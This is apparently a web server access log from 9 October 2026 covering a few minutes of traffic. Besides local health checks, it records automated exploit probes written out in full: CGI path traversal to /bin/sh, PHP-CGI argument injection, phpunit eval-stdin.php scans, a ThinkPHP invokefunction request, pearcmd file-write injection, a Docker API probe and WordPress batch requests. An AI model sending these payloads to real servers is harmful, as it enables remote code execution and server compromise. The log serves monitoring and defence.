127.0.0.1 - - [09/Oct/2026:06:40:05 +0800] "GET / HTTP/1.1" 200 18852 "-" "curl/7.81.0"
127.0.0.1 - - [09/Oct/2026:06:40:05 +0800] "GET / HTTP/1.1" 200 23725 "-" "curl/7.81.0"
127.0.0.1 - - [09/Oct/2026:06:40:05 +0800] "HEAD / HTTP/1.1" 200 6236 "-" "curl/7.81.0"
60.248.142.179 - steps [09/Oct/2026:06:41:48 +0800] "HEAD / HTTP/1.1" 200 4762 "-" "Mozilla/5.0 (compatible; HostMonitor/1.0)"
127.0.0.1 - - [09/Oct/2026:06:45:05 +0800] "GET / HTTP/1.1" 200 18852 "-" "curl/7.81.0"
127.0.0.1 - - [09/Oct/2026:06:45:05 +0800] "GET / HTTP/1.1" 200 23725 "-" "curl/7.81.0"
127.0.0.1 - - [09/Oct/2026:06:45:05 +0800] "HEAD / HTTP/1.1" 200 6236 "-" "curl/7.81.0"
37.27.39.69 - - [09/Oct/2026:06:46:18 +0800] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 5593 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:19 +0800] "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 400 5593 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:20 +0800] "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 404 12019 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:20 +0800] "POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 405 1033222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:22 +0800] "POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 405 1033347 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:22 +0800] "POST /test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:22 +0800] "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1" 405 1033327 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:22 +0800] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:22 +0800] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 7195 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:22 +0800] "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:23 +0800] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 7195 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:23 +0800] "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:23 +0800] "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:23 +0800] "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:24 +0800] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 7195 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:24 +0800] "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:24 +0800] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:24 +0800] "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:24 +0800] "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:24 +0800] "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:25 +0800] "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:25 +0800] "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:25 +0800] "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:25 +0800] "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:25 +0800] "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:25 +0800] "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:26 +0800] "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:26 +0800] "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:26 +0800] "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:26 +0800] "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:26 +0800] "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:26 +0800] "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:26 +0800] "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7227 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:27 +0800] "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:27 +0800] "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7195 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:27 +0800] "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:27 +0800] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7195 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:27 +0800] "GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:27 +0800] "GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7195 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:28 +0800] "GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7249 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:28 +0800] "GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:28 +0800] "GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:28 +0800] "GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:28 +0800] "GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:29 +0800] "GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 200 19427 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:29 +0800] "GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1" 404 7222 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:29 +0800] "GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1" 200 19427 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:29 +0800] "GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1" 200 19427 "-" "libredtail-http"
37.27.39.69 - - [09/Oct/2026:06:46:29 +0800] "GET /containers/json HTTP/1.1" 404 7222 "-" "libredtail-http"
103.168.147.235 - - [09/Oct/2026:06:48:03 +0800] "POST /wp-json/batch/v1 HTTP/1.1" 404 10510 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"
103.168.147.235 - - [09/Oct/2026:06:48:04 +0800] "POST /?rest_route=/batch/v1 HTTP/1.1" 405 1036018 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"
103.168.147.235 - - [09/Oct/2026:06:48:05 +0800] "POST /?rest_route=/batch/v1 HTTP/1.1" 405 1035106 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"
103.168.147.235 - - [09/Oct/2026:06:48:06 +0800] "POST /?rest_route=/batch/v1 HTTP/1.1" 405 1035486 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"
103.168.147.235 - - [09/Oct/2026:06:48:07 +0800] "POST /?rest_route=/batch/v1 HTTP/1.1" 405 1035580 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"
103.168.147.235 - - [09/Oct/2026:06:48:07 +0800] "GET /?rest_route=/wp/v2/posts&per_page=1&_fields=link HTTP/1.1" 200 22586 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"
103.168.147.235 - - [09/Oct/2026:06:48:08 +0800] "GET / HTTP/1.1" 200 22586 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"
103.168.147.235 - - [09/Oct/2026:06:48:08 +0800] "POST /?rest_route=/batch/v1 HTTP/1.1" 405 1037106 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/121.0"